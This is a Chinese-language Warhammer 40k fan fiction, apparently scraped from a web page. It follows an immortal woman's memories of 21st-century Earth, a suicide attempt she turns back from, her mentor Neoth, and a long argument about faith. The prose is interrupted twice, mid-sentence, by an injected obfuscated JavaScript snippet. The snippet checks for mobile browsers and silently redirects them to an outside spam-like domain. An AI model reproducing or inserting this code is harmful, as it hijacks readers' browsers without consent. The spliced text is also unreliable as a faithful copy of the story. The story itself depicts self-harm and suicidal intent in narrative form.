《[战锤原女]有长眠者曾逐日》 1. I 我是绝望之人 没有回音的词 失去一切也曾拥有一切 ------聂鲁达《只有新的神咬过爱的苹果》 BGM: Love Story - Indila 自二月十三日起,古老而神圣的泰拉便开始在荷鲁斯发起的,日夜不断的轰炸中崩裂,她的天空被混杂着硝烟尘土和灰烬遮蔽,曾哺育万千生灵的大地发出呻吟。叛军的舰队如达摩克利斯之剑般高悬在空中,仿佛下一秒便要斩断人类最后的希望。人类文明的摇篮如今疤痕累累,昔日辉煌的城市被战争的洪流摧毁殆尽,只有残垣断壁和无数亡者的呜咽声在风中回荡。 季琼安记不太清自己上次合眼休息是什么时候。战火连天,泰拉的土地发出低吟,每一分每一秒都像是被战争吞噬的永恒。她曾倾囊相授的学生----如今沉稳成熟的医疗人员们早已放弃了昼夜的概念,奔赴前线,日夜不间断地燃烧着自己的生命力,像一根根即将熄灭的蜡烛,为泰拉上少得可怜却忠诚坚定的守军们续命。 她应当也同他们一起的。 即使被奉为最先进的学者,仁慈的医官,帝皇身边的红人,令无数贵族争相巴结的存在,琼安始终清醒地丈量着自己与权力核心的真实距离,她不过是这场无休止绞肉战中微不足道的齿轮,双手沾满鲜血,既有伤员的,也有敌人的;当午夜梦回的冷汗浸透亚麻床单,那些凝固在记忆琥珀中的,属于战士与挚友们死去的眼神便会浮现,不论那是痛苦、怨恨,亦或是一种几近平静的释然。 然而,帝皇的一道命令将她牢牢钉死在泰拉的皇宫中,她不被允许离开这里,去支援前线,却也不被允许下到网道内,同她所珍视并相处许久的禁军与修女们一同作战,不论将要面对什么。此刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450318|169465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她正被困在自己亲手建造的知识坟墓里,那些耗费无数个世纪搜集的古泰拉文明残章在静滞力场中永恒叹息。她困惑而焦虑地反复检阅着她曾和许多历史学者一道编撰的庞大数据库,指尖在数据板边缘划出苍白的痕迹。其上浮现的,她所负责管辖的档案目录在墨色的眼底烙下幽蓝的残影。皇宫的墙壁偶尔震动,她如困兽般,缓慢行过古老的大图书馆,瘦削的身躯在金属墙壁上投下扭曲的阴影。琼安最终在一排属于3k时代的古旧馆藏间立定,旧日的纸质典籍如同琥珀里的远古飞虫,记载着与当下浩劫毫无瓜葛的旧人类天真纪年。明亮的火光将她虽看起来年轻却满是疲态与沧桑的面容柔化得近乎温和,于是,她轻柔地抬手,指尖缓缓抚过这些过去的残片。 若她,季琼安,将会死在这动荡之间,那么此刻指尖触碰的,便是文明黄昏前最后的、带着羊皮纸腐朽甜香的告别。 2. II 我们不要在这里, 跟我回去18岁, 躲到台大校园杜鹃花从下, 不要被命运找到。 但是我无法避免 十八岁那一年对警告置若罔闻, 我了解我自己, 我如果重回十八岁, 我仍然会从杜鹃花丛中冲出来, 对命运说,我在这里。 ------简媜《相逢在异国的夏日午后》 BGM:Green to Blue -daniel.mp3 她诞生于第21世纪的开端,北美大陆的某个早已在漫长的时间里陨灭的移民大国。那时的泰拉还是个刚刚开始发展宇航技术的蓝色星球,人们抛弃了昔日的蒙昧,转而追求文明,或者更确切地说,大多数人暂时披上了文明的外衣,将欲望与兽般的野心藏在外交与平等的壳子下。而对于生活在和平国度的人们来说,战争就像一场遥远的天气预报:今日局部地区有雨。 而那一天,季琼安还记得那一天。事实上对于她而言,自那场灾祸前,从幼时起危难便如影随形。只不过笃信天主的父母相信那是神明降下的赐福,她也听从父母,每日按时祈祷,从未缺席过弥撒,重金购得圆润的玉石编成的玫瑰念珠也不离身。父母偶尔会提起,她不满周岁时曾从传统高架床坠落,后脑勺重重磕在地板上当场失去呼吸的往事。被托付照看的亲戚因专注电视节目未曾察觉异样,待父母返家推门时,只见襁褓中的琼安面色青紫。可在送往医院的颠簸路途中,她竟恢复了微弱的脉搏,经全面检查仅后枕部存在轻微血肿。父母与亲戚断了联,每当回想起往事的时候,不免要赞颂天主的仁慈。可很快,一次暴雨夜下了补习班,十二岁的琼安路过公园时被难民醉汉袭击,尖利的刀刃刺穿腹部,血水顺着公园滑梯蜿蜒成赤色溪流。醉汉很快被出门的邻居发现并报警逮捕,她被送上救护车,医生却诊断她只是受了不致命的轻伤。当护士为她更换止血棉的时候,琼安甚至有余裕观察对方素净的双手是如何高效地完成上药的步骤,尽管她分明记得,刀尖没入腹部时,意识和血液像从破损的容器内逐渐地流逝。 多年后的某个春日,琼安同好友约定要出门踏青,已拿到驾照的学长迫不及待地要向好友们显摆父母作为礼物送给他的新车,宝蓝色的轿车载着欢声笑语的年轻人们驶向郊野。然而,剧烈撞击声撕碎沿途风景,金属扭曲声中,琼安成为同车四名学生里唯一尚有生命体征的存在。当急救人员从变形的车后座拖出浑身是血的少女时,监测仪显示她的生命体征正以惊人速度复苏。尽管三小时后便在ICU恢复意识,这个连续穿越生死线的女孩,却难以避免地承受着幸存者的心理阴影——那些反复闪现的坠落失重感、刺鼻的消毒水气息,以及永远凝固在十七岁的同伴笑颜。 是啊,她本该无数次地死去的,却活了下来。皮肤撕裂后愈合如初,胸口被刺穿却仍能呼吸。医护的窃窃私语传入她的耳中,最初,她以为是幸运,但随着时间推移,她意识到自己根本不会死。幼年磕碎的颅骨,暴雨夜被难民醉汉捅穿的腹部,本应在车祸中粉碎性骨折的脊梁,每场致命创伤都像被按下倒带键的残酷影像。她在医生的桌子上偷看过自己的死亡证明,墨迹未干的“失去生命体征”总在十二小时内变成废纸。 第无数次从漫长的噩梦中醒来后,她在浴室放满热水的浴缸里消磨了很长时间,最终却还是不受控制地呕出大量清水。于是,琼安抬起头,对着浴室镜轻笑。那惯常被修剪中短,柔顺地从两侧悄然贴近耳下的学生头,如今与前额的厚重浏海和两侧整齐的发脚一起,因为水汽粘在皮肤上,宛如垂挂的夜幕,几乎遮掩了她那双深邃的眼眸。白皙的身躯平滑又清冷,清秀的五官刻在苍白的脸颊上,墨色的大眼睛犹如一池澄澈的湖水,眼尾微微上挑,带着一抹忧郁的弧度。十七岁,年华尚浅又斑痕累累,嵌满记忆的碎片。可偏偏,这具在水雾中重生的年轻躯体,连童年坠床的疤痕都未曾留下。 于是,那个温暖的春日,季琼安逃了学,换上最喜欢的裙子,准备去死。 在春日无尽的绵绵细雨中,她找到一座废弃的旧厂房,孤身一人走进去。虽然早已知道死亡不会降临,但她想尝试——她想看看,自己究竟要经历多少次死,才能迎来真正地终结。 然而,当她站在锈迹斑斑,摇摇欲坠的旋梯上,准备迈出第一步时,一道身影出现在了楼下,如命中注定就要在此时此刻,出现在此地,他在那里,沉静地抬头注视着她,仿佛早已等候多时。 “你已经站在那里很久了。”他的声音从下方传来,平稳、低沉,带着即使是时间本身也无法磨损的沉静,他不仅仅是在谈论此刻,而是在指向更深远的东西。 季琼安微微一滞,手指紧握着生锈的扶手,生怕自己会在这突如其来的打破静默中颤抖。她缓慢地低下头,望向楼下那道身影。那是一个中年的男性,身形笔直而沉稳,整个人透露出一种无声的威严。一套剪裁得体的黑色西装将他的身形衬托得更加线条流畅,丝毫不掩其独特的优雅与精致。他的皮肤是好看的深色,在微弱的光线下呈现出温润而沉静的色泽,一头墨色的黑长发笔直而柔顺,随着微风缓缓飘动,金色的眼瞳在暗淡的光影间闪烁着某种理所当然的威严。这个忽然闯入此地的陌生人并未流露出任何焦急或急于劝说的迹象,表情中没有悲悯,也没有惊慌,甚至算不上温柔,而是一种极度的笃定,仿佛无论她接下来做什么,他都已经预见,且早有答案。 “你是谁?”她缓缓开口,声音干涩而紧张。 他并不急着回答,而是缓缓走近几步,确保她能完整地看到他以后才停下,目光依然锁在她身上: “你可以称呼我为尼奥斯,”他说,“但目前,这个问题不重要,现在更重要的是——你为什么在这里?” 琼安垂下眼睫,没有回答。她并不想解释,也不觉得解释有什么意义。她已经在痛苦中煎熬太久,久到连“想要结束”这个念头本身都变成了一种下意识的习惯。 见她沉默,他继续说道:“你很清楚,死亡不会降临。” 她的指尖微微收紧,心跳仿佛在这一刻慢了半拍。 “你已经试过很多次了,不是吗?”他的声音很轻,但却精准地切中了她最不愿触碰的部分,“可你依然在这里。你一次次倒下,又一次次醒来。你知道自己不会死,知道这一切没有意义,可你依然选择来到了这里,跑到这个地方,迫切地寻求一个答案。” “你想说什么?”她的声线因略带愠怒而发颤,苍白的面颊终于笼上一层属于活人的薄红。 “你在害怕。”他轻声说道,一个完美的陈述句。 “怕你无法死去。怕你会一次又一次醒来,怕即便跳下去,也只是徒增痛苦。怕你在某一天,连寻死的力气都不剩下,却仍旧活着。” 他没有逼迫她开口,只是微微侧首,语气淡然:“我想问你,既然你知道无法结束,为什么还要坚持?” 夜风静静地吹拂着,远方的城市仍在自如地运转,而她站在这荒废的高处,像是一颗游离于时间之外的尘埃。属于她的,季琼安的存在没有终点,也没有归宿,她甚至不清楚自己究竟是什么,从哪里来,要往哪里去。 他看着她的表情变化,目光依旧沉静:“你并不是真的想要死去,你只是想要一个名为‘终点’的答案。” “你想结束的是痛苦,是迷茫,是那些你无法承受的现实。可问题是,即便你从这旋梯上迈出一步,它们也不会消失。你依然会醒来,依然会疼痛,依然要面对命运加在你身上的这一切。你一直在寻找终点,可终点并不会自己来到你面前。” 他的话一字一句,沉重得像是钟声敲击在琼安的心口。死亡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450319|169465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记忆不断闪回,她又感到那如影随形的疼痛了。 “那么,你的意思是,我只能就这样活下去?”她低声问,语气里带着一丝讥讽,更多的却是疲惫。 “不。”他微微摇头,语气不紧不慢,“我的意思是,你可以选择——选择如何活下去。” 琼安看着他,眼神复杂。 他继续道:“你一直在等待一个理由,一个可以支撑你活下去的意义。可活着的意义不是从天而降的,也不会凭空出现。你必须去寻找它,去创造它。” 他向前一步,目光从未移开:“既然你无法结束,那不如问问自己——你还想要什么?” “那么,”良久的沉默后,她终于开口,从内心里迸出的痛楚让她听起来像被无情碾碎过的残片,“你觉得,我是什么?” 他凝视着她,眼中映着春日阴沉的天空,语气却满是柔和:“你是永生者。” 没有疑问,没有惊讶,甚至没有刻意地强调,仿佛这不过是最普通的事实,如“白日会升起”,“夜幕会降临”一般理所应当。 可正是这种平静,让她的心微微一颤。 她缓缓低头,看着楼下的男人。他静静地站在那里,平稳的视线似乎穿透时间本身,直直地望进她的灵魂。在今天以前,她从未见过这个名为尼奥斯的男性。可他在此时出现在此地却并没有给她过于违和的感觉,如同这一切本就该如此这般。 “那又如何?我不需要这漫长的生命。” 一切痛苦的缘由被完美地解答,所有的自欺欺人都不再有合适的借口。她这样的存在并非一个人,这是个好事,可这陌生的一切偏偏让她感到恐惧,琼安看过很多科幻小说,自然可以想象到那永恒的孤独。或许大部分的人都会因无限的寿命而狂喜,但在那未来的迷雾里,她还要再像过去那样被摔碎多少次? “可是,‘死’对你而言,又意味着什么?” 他并未催促,亦无责备,语气平静得如同只是随口一问,然而话语本身却沉甸甸地落入空气之中,在破败的厂房内激起无声涟漪。雨声渐歇,重获自由的光影掠过他的侧脸,勾勒出分明的轮廓,那双金色的眼眸深邃而遥远,如日出前的地平线,映着光,却仍沉浸于夜的余温。他站在无数的历史残骸之中,却不带一丝衰败的痕迹,仿佛时间与尘埃都无法在他身上留下烙印。 “像我们这样的人,”他缓缓对她说道,“注定要行过无穷无尽的时间,在那些永不凋零的事物上留下痕迹。我们的生命,不会如尘埃般消散无踪,不论是用何种方式。生命是时间赠予你我的礼物,它不是诅咒,也不是枷锁,而是一份赠与。无论你如何看待,它始终属于你。” 冰冷的泪珠滚落了琼安的脸颊,她张了张嘴,却发现自己无话可说。 她还想要什么?她不知道。她曾经有很多想要的东西,可随着时间推移,它们一个个被现实撕碎,直到只剩下这具不会死去的身体,和一颗不知该何去何从的心。她开始后悔逃课前穿了这条绣了小花的白裙。因为此刻,她竟然意识到,哪怕是站在这楼顶的边缘,她仍旧在乎自己看上去是否像她曾经期待的样子,甚至怕起身体里的污血会弄脏裙子的花纹。 她仍然在乎。 她深吸了一口气,闭上眼,擦干泪水,再睁开。风依旧吹拂着,她的脚仍旧站在边缘。可这一刻,她终于开始意识到——她或许还可以选择别的方向。 “如果我不知道自己想要什么呢?”她问。 “那么,在你找到答案之前,不妨先看看这世界还能给予你什么。”他微微一笑,带着某种洞悉一切的温和:“我可以陪你寻找。” 他伸出手,等待她自己做出决定。 季琼安看着那只手,沉默片刻,最终缓缓地——向后退了一步。 窗外,最后一滴春雨落在她曾想纵身跃入的虚空里,雨季结束了。 3. III 不要爱上我这样的人 我会带你逛遍博物馆,公园,各种遗址 在每个迷人的地方亲吻你, 以至于当你重返旧地时 已无法忘记与我亲吻的滋味, 就像口中含血一般 我会以最美的方式把你毁掉 而当我离你而去时, 你终将明白 为什么毁灭性的飓风都以人名命名 -------凯特琳·希尔《不要爱上我这样的人》 BGM:An die Musik - Franz Schubert Notes: 预警:此章很长很长,很流水账,涉及到一定程度的宗教与无神论辩经,作者本人是福音派基督徒而不是天主教徒,水平有限,由于战锤40k关于宗教方面就是这么设定的所以才会这么写,角色的发言不代表本人的思想,希望不会得罪所有的信徒和无神论朋友们。 二十一世纪,美好的二十一世纪,万物勃发的二十一世纪。 即使当后世的人们脚踏星河,朝着浩瀚而未知的宇宙中迁徙,二十一世纪的伟大贡献也被记载于旧日的历史书册中,成为模糊而美丽的痕迹。正如狄更斯的《双城记》的开篇写下的,经久不衰的名句:“这是最好的时代,这是最坏的时代,这是智慧的时代,这是愚蠢的时代;这是信仰的时期,这是怀疑的时期;这是光明的季节,这是黑暗的季节;这是希望之春,这是失望之冬;人们面前有着各样事物,人们面前一无所有;人们正在直登天堂;人们正在直下地狱。” 二十一世纪,孕育未来的摇篮,无数未来科技的雏形于此诞生,新的取代老的,然后又被更新的所取代。那时的AI技术还被调侃以“人工智障”的外号,成为学生们和教授层出不穷的论文抄袭捉老鼠游戏中的一环,以及“大规模地将过去的文明当作素材,是否侵犯他人权益”的辩论主题。那时无人机战斗依然算最新最前沿的科技,那是纸币慢慢被摒弃,二维码爬上佛堂功德箱的时代,是老式的烛火在LED灯带中假寐的时代,万物在解构中重生,在缝合中融合,所谓最好与最坏,不过是历史长河在转弯处激起的对立浪花,而人类永远站在浪尖上,捧着漏水的陶罐打捞倒影中的文明。 但正所谓,人不能同时拥有青春和对青春的感觉,身处于其中之人,对未来将会发生的事情一无所知。 年龄迈入十位数后,日子总是像飞一般。漫长的选课,考试,学习,对志愿大学的调查之后,毕业的时间几乎很快就到了。十八岁的刻度线像道忽然倾斜的沙漏,将少年时光漏得分外匆忙。琼安总觉得昨日还攥着选课表在走廊徘徊,鼻尖蹭到油墨未干的印刷味,今日却已捧着毕业纪念册,看照片里制服裙摆的长度随着年级攀升一寸寸矜持起来。 学校附属教堂的弥撒是场迟到的成人礼,阳光穿过彩绘玻璃,将圣徒面容烙在年轻人们的西装与白裙上。当神父诵读《诗篇》时,琼安看见后排总在神父讲话时打瞌睡的男生挺直了脊梁,平日里偷偷窃窃私语的女孩子们正将玫瑰念珠虔诚地握在手心里。管风琴的轰鸣惊醒窗外的白鸽,低年级学生们组成的唱诗班唱起歌为学长们送别,最后一个音符消散时,有人开始抽泣,季琼安望着祭坛前将熄的蜡烛与垂泪的圣母,恍惚看见初入校时在此打翻圣水的自己,只不过那时的惶恐被替换成了此刻的怅然,随着时间缓慢凝结在银烛台蜿蜒的蜡泪里。她忽然希望管风琴永远不要停,好将这场弥撒连同她一起封存,不必独自面对所有未说出口的告别与即将启程的忐忑。 就这样,高中的时光还是结束了。 那位可敬的永生者,尼奥斯先生,琼安这么称呼他,父母不知道她和他的秘密,只觉得女儿比之前开朗许多。她自从八岁开始就一直在学习大提琴,原本只是出于华裔家庭陶冶孩子艺术情操的习惯,但每周风雨无阻地去上课,不间断地学习多年以后,成绩平平,只有器乐能拿得出手的她,一时半会儿也确实想不出,除了从事艺术行业以外还可以做什么。当琼安听从尼奥斯先生的建议,申请了几所排名很高的大学的音乐院校时,也没有太期待会拿到offer,而现在,几所大学都抛来橄榄枝,但每一所都需要她离开家,去到国境线的另一边。 “你可以和父母商量一下,只不过,从这些学校出来的人,每一位都在他们自己的领域有了建树,而且,这几所大学都会给你助学金。” “去吧。”尼奥斯先生的声音沉稳而柔和,“你的世界不该止步于此。” 没有一对父母会拒绝让自己的孩子拥有更好的前途,尤其是当与大学合作的机构愿意给出相当丰厚的助学金。就这样,九月到来之前,琼安收拾好了行李,坐上飞机,像出窝的雏鸟一样前往未知的国度。机场告别的时刻,她看着父亲不断调整她行李箱的绑带,母亲为她祈祷,不断叮嘱她要多添衣。东方家庭在感情方面表达总是比较含蓄的,父母将离家的女儿揽入怀中,久久为松开,无数未说出口的话语却最终还是化为了一句:“要常联系。” 当客机的尾翼切开厚重的云层时,琼安关闭了手机,望向白茫茫的窗外,未来就在脚下铺开,可苍白的云层让她想起父母染上白丝的双鬓,她忽然有点后悔没有选择家附近的大学了。 很快,秋雨打落黄叶,将校园染成梵高油画般的色调,季琼安蜷缩在学长们在开学甩卖时淘到的红天鹅绒小沙发里,看同住的东欧舍友用小电锅煮甜菜汤,给父母发照片报平安。新的室友很不错,她写到,那是个风风火火的姑娘,操着口音浓重的英语,二话不说替她把行李全抗进了宿舍。琼安很喜欢这个外向的新朋友,尽管她的穿衣风格很像隔壁的美术系学生,往那儿一站就像一场行为艺术。 大学附近的天主教堂彩窗投下的虹光里,她第无数次点开那个名为“Neoth”的社交账号,主页背景是十七世纪虚空派画作,描绘了颅骨与凋萎的玫瑰,账号头像则截取自波提切利《春》的局部,三位女神永不衰老的侧颜。 “柏林爱乐下月会来市中心演出,马勒第五交响曲,附赠后台参观证。” 来自尼奥斯先生的邀约每次都简洁如中世纪教皇诏书。琼安盯着聊天框上方“对方正在输入...”的提示,想起第一次被他添加好友的场景:这位披着现代西装外套的永生者掏出智能手机,熟练地解锁并输入她报出的电话号码,顺带添加了她最常用的社交账号。 “您使用智能手机?”她当时脱口而出,还以为像他那样把衣服穿得一丝不苟,举手投足都像个老教授的人,只会用老式按键手机呢。 “活得够久的好处之一,就是能毫无困难地学会所有时代的社交礼仪。”他端详着她的自拍头像,然后点击了旁边的关注。 如果不是这些与现代社会之间的联系,她几乎会以为他是一个从过去遗留至今的幽灵。他的社交媒体极少更新,几乎没有任何个人生活的痕迹。他不会买头像特效,不会使用任何流行表情包,唯一的动态不过是他所供职的生物科技公司偶尔发布的官方新闻。事实上,她都不知道这个账号是不是他唯一的账号,还是说他的网络身份也跟现实中一样,变幻多端。琼安从未细问过他的社交生活,她总觉得自己还不够资格去了解这些。而他们的交流也一向简单直接,他很通常只是直接地甩给她演唱会、展览或某个学术讲座的信息,然后简短地问一句:“有空吗?”而她为此感到尴尬和难为情的时候,就随口说作为永生者,只要活得足够久,这样的东西随手便能买来,甚至大部分时候都是乐团或者生意伙伴送来的,作为人情的赠票,以此打消她的顾虑。 有时琼安鼓起勇气主动找他,想着聊点生活琐事,但每次都得不到太多反馈。她只能换个方式,试探性地向他请教乐理知识,或者让他帮忙修改论文,结果发现他在这方面倒是意外地耐心,甚至会一字一句地给她讲解音乐作品的结构分析。 她慢慢习惯了他的风格,开始偶尔主动约他出来。秋日的街道上,他们一人一杯星巴克,步行在微凉的风中,真的很像导师与年轻的学生,而不是两个背负时间重量的灵魂试图跨越某种不可逾越的代沟。他将她介绍给了他所认识的永生者们,学识渊博的尔达,聪慧的奥利维亚,还有很多其他的朋友。她在泛黄的典籍间临摹他思想的纹路,试图真正理解他的世界。可每次交谈之后,她都会意识到,学习的过程将会十分漫长。不过,她有很多时间去看看这个世界,去真正理解他口中的“永生”意味着什么。 不知不觉间,尼奥斯先生的存在已经成为一片与她的生活完美契合的拼图,有时恰逢来不及回去探望父母的短假,他会带她去到城市周边的地区短暂旅行,深冬在图书馆古籍修复室,他教她辨认古羊皮卷上的金粉颜料,那些沉睡几百年的星辰,在他指腹温度下苏醒时闪烁的模样,会让她想起上个月去看歌剧,散场时他伸手拂去她肩头落雪,羔羊皮手套擦过她的羊绒围巾,发出的沙沙轻响。有时到学校快递取件,她也总能收获一些意外馈赠:德彪西《月光》的初版黑胶、裹着雪松香气的松香,一些精致又不贵重的工艺品小玩意儿,或者《呼啸山庄》的首刷版。小小的礼物们逐渐填满她的宿舍,让她在舍友的调侃中红了脸,而每当琼安试图道谢,这位慷慨地送来礼物的人便用新发现的古籍善本,或者她的学业成绩之类的东西来转移话题,暗金色的眸光比星空更难以参透。 很快,琼安便以天才大提琴手身份横空出世,极高的天赋让她在各大国际大提琴比赛上一鸣惊人,很快又前往知名的音乐厅首演。尼奥斯先生为她牵线搭桥,将她引荐给知名的演奏家,让她成为名师的学生。知名爱乐乐团的邀请,与大师合作室内乐,如梦似幻般的成功在飞逝的第一个百年里留下璀璨印记。而在此期间,她的永生者朋友们会以各种伪装的身份偶尔陪伴她,一个谎言往往需要另一个来掩盖,永生者们总是为彼此的生活打掩护。可是很快,他们就不得不教会她,如何随着年龄的加深,微调一次眼角皱纹的深度,否则她那不匹配年龄的,依旧保有青春的脸,很容易就会让普通人产生怀疑。 当琼安结束又一场巡演,回到家中时,她才惊觉父母的发丝早已被时光染上了雪白。岁月向来残忍而公正,它从不偏爱任何人。她或许逃过了年岁的侵蚀,却无法避开内心被时间刻下的痕迹。 永生者们望不到头的一辈子里有太多抓不住的遗憾,尽管她宣布暂时停止演出活动,陪伴年纪老迈的父母四处旅行,在普罗旺斯薰衣草田畔购置豪宅,好让他们安享晚年,死亡不因财富的积累而推迟,不因不舍的亲情而让步。父亲在一年前离世,而母亲也随他而去。在临终前,母亲已然虚弱得连话语都变得模糊不清,她颤抖的手轻轻抚上琼安的手背,在摸到女儿总是缠在手腕上的那串玫瑰念珠后,竭尽全力地轻轻地笑了。 “琼安……” 母亲的声音如风中烛火般微弱,“不要哭,我们终将会在天堂再会。” 冰凉的珠面已经被岁月打磨得光滑,承载着无数次温柔地祈祷。她的喉咙仿佛被什么堵住了,想要开口,却发现自己根本说不出话来,只能轻轻点头。母亲的气息在这一刻彻底平稳下来,嘴角仍然带着笑意,仿佛只是安然入梦。 “可是,妈妈。”琼安举着把黑伞,立在父母的墓碑前,“这里没有天堂。” 在那之后,豪宅成了空荡的居所,暴雨将至,琼安徘徊在熟悉的回廊,穿过客厅去到琴房,去年今日,母亲就是在这里哄她吃新做的陈皮红豆沙,琴房角落的施坦威蒙着防尘罩,像具未合棺的灵柩。她掀开绸布,琴凳暗格里躺着的铁皮盒锈迹斑斑,里面除了父亲背着母亲偷偷藏下的硬币,还有一打泛黄的儿童创可贴。 《天鹅之死》的旋律在暴雨中哀泣,苍白的手指被琴弦割裂,凝结的血珠倒映出无数个十岁的,在社区汇演中弄伤手指,被父亲哄着用创可贴裹住流血指尖的小女孩。她挪开视线,看见落地窗暗色的倒影里,洗掉所有的衰老与疲态,重回二十岁的容颜,与数十年前孩童的泪眼逐渐重叠。那张脸依旧如同记忆中鲜活的画面,微微带着些许稚气,仿佛时间从未在她身上留下过任何烙印。 第无数次因指缝渗血导致打滑得无法按准琴弦时,琼安索性击碎了窗户,踩着玻璃碎屑与雨幕共舞,而当她站在窗户边缘摇摇欲坠的时候,庭院突然亮起暖橘色的车灯,宅邸的正门被推开了,带进一缕潮湿地薰衣草香。 暴雨停歇,琴音回响在静谧的夜色中,如湖面上微微荡漾的涟漪。琼安的指尖扣住琴弦,因手部的伤口而微微颤抖,尼奥斯先生在她身侧,修长的手指落在黑白琴键之上,尔达坐在一旁,轻轻拨动竖琴的弦,柔和的琴声像春日里的风一样,温柔地包裹住她所演奏的,所有的破碎旋律。 后来,尔达轻轻为琼安盖上毯子,将她抱入温暖的怀里,她啜泣着抬头,看见年长女性眼中泛起隐约的痛苦与柔软:“为了适应不同的身份,我曾拥有并埋葬过太多亲人。后来,我学会了种下各种各样的花朵。它们会在不同的季节里轮流开放,我的心就会不由自主地回到那些已经远去的时光,那些我曾经失去的人和事。花朵从不曾遗忘过我,它们带着我的悲伤和希望,在四季间轮回。每一次回望过去,我才明白,埋葬并非结束,而是另一种开始。” 而在茶杯升起的热气中,尼奥斯先生点了点琴谱的末章:“该给这首曲子画上终止线了,琼安,这首曲子的终点,不是你的终点。” 是啊,日子依旧需要继续,音乐也需要继续。琼安很快便复出了,一如既往地同乐团合作,录制唱片,开班教学与巡回演奏。她的照片看起来越来越年老,并不存在的白丝染上她原本乌黑的头发,在她策划好的,98岁“寿终正寝”的追悼会上,黑胶唱片循环着她所演奏的舒伯特《致音乐》。棺材里睡着的不过是蜡像一个,真正的琼安戴着新的面具站在梧桐树后,看曾经的旧友将白玫瑰放在墓碑前——那位白发苍苍,终生未婚的指挥家始终不知,五十年前不断婉拒他求爱的少女从未老去。 当季琼安再次睁开眼的时候,身份已经变成了一个姓“林”的高中生,书桌上放着剑桥的录取通知书是尼奥斯先生为她安排的礼物,至于新的专业,只要不是沿着从前的轨迹行走,选择什么都可以。琼安思索良久,多年前在图书馆的地下室窥见羊皮卷上碎金的一幕依旧让她觉得震撼。如果她的时间长到无限,那么在档案与古旧典籍的墨香中消磨许多年也不失为一个选择。 然而,直到在剑桥攻读历史学位,研究起中世纪宗教史以后,她才发现自己的主课教授正是那个以尼奥斯先生的身份,引导她向前走的人。尽管依旧套着温文尔雅的皮,他教起宗教史来总有一种莫名的愤慨与不屑一顾,气得好几位虔诚的教徒同学愤然离席。 一次下了课后,她与他在图书馆里因十字军东征而开始争论信仰的本质,起因是他批评自己上交的论文带有太多“被宗教的思想所禁锢”的主观性,从而忽略了很多事实,不够具有理性和客观。 “几千年来换汤不换药的谎言。”他透过伪装身份用的镜片凝视着她,“佛教因果律催生印度种姓制度,基督教原罪论孕育猎巫运动,人类在蛮荒之时将日月等天体奉为神明,而现如今则将所有人类本质的美好事物当成借口,为自己驻足不前的愚昧开脱。” 琼安紧握着自己的论文稿,将它夹入参考书籍间,声音不禁颤抖起来:“可是,难道信仰不也是人们心中最后的依靠吗?在那混乱与绝望中,它给了人们一丝希望,哪怕只是虚幻的。” 她的教授轻轻推了推镜框,眼中闪过一丝嘲讽:“希望?你所谓的希望,不过是另一种形式的奴役。你看,那些被蒙蔽的人们,他们宁愿相信天堂的存在,也不愿面对这残酷的现实。而你,我的学生,必须明白,真正的信仰应当是对自我内心的拷问,而非对虚幻救赎的盲目依赖。宗教只是用来掩饰野心与恐惧的外衣,而真正地救赎从来不是建立在谄媚一个谎言之上的。” 图书馆里一阵沉默,只有书页翻动的沙沙声在两人之间回荡。 “信仰是溺者攀附的幻藤,你们以祈祷、祭祀和赎罪逃避苦难,将铜币投入奉献箱以称量罪孽的价码,却因此深陷无知,而我们选择以理性和自我认知来重塑世界。理性让我们不再惧怕未知,不再以神迹解释自然;自我认知让我们明白,人类并非某位神祇的宠儿,而是能够创造自身命运的存在。” 他垂眸望着琼安:“我们透过逻辑和实验揭示宇宙的规律,我们用哲思和求索填补精神的虚空。对单一或多个伪神的信仰不是人类的福音,知识才是,而怀有对知识的渴望进行探索,是通往光明的唯一阶梯。” “可人终究是有限的,”琼安合上书页,书页间残存着百年前的墨香,那些虔诚者誊写的字句在岁月中泛黄,却仍旧承载着人们的信仰。她指尖轻叩书脊,缓缓道:“理性并不能回答所有的问题,也不能填补所有的空缺。我不后悔持有信仰,让它用爱填满我灵魂的空虚,人总需要一个存在作为意义和信念。政客在撒谎,科学家在撒谎,他们的谎言也同样让无数人们前仆后继地送死。如果万物都因其自身的目的捏造各种谎言,那一个宗教是否为真实早已不重要。我所经历的短暂百年或许比不上你丰富的见识与阅历,但对我而言,我有我的信仰带给我的爱与慰藉便足够了。” “当异教徒被架上火刑架时,慰藉是刽子手胸前的十字架;当修士用经文砸碎美洲原住民的颅骨时,慰藉是浸透经文的脑浆。你口中‘得救’的教徒用异端审判所烤焦了六千万具躯体,而现如今,单在北美宗教造成的创伤就数不胜数。当人们审判某个政权的时候,他们说盲信是有害的,而当宗教对人们做出同样的事情时,他们又开始宣称这是正义的审判。教徒们当然可以申辩,所有满口爱与救赎地杀光异端的人,用经文规训与压迫孩童的人,才是真正的异端,是人类的罪性,奸诈与诡计,及所谓的政治游戏和利益玷污本该完美的事物。可这一切的一切,对我而言,宗教最大的荒谬便是——信仰并不能改变任何事情。否则,如今的世界便不会是这副模样,一个得救的人都不会存在,假若人们只需祈祷就能将世界变成所谓的天堂,那么,这片大地上,早该遍布圣洁的光辉,而非血与火铸就的历史。” 她蹙眉盯着他,似要张口反驳,可被他立马用更多的话语打断:“可现实是,祈祷无法止息战争,信仰无法驱散饥饿,赞美诗不会让暴君退位,也不会让苦难者得以安息。天堂不是靠哀求得来的,而是靠意志、智慧与力量去开辟。” 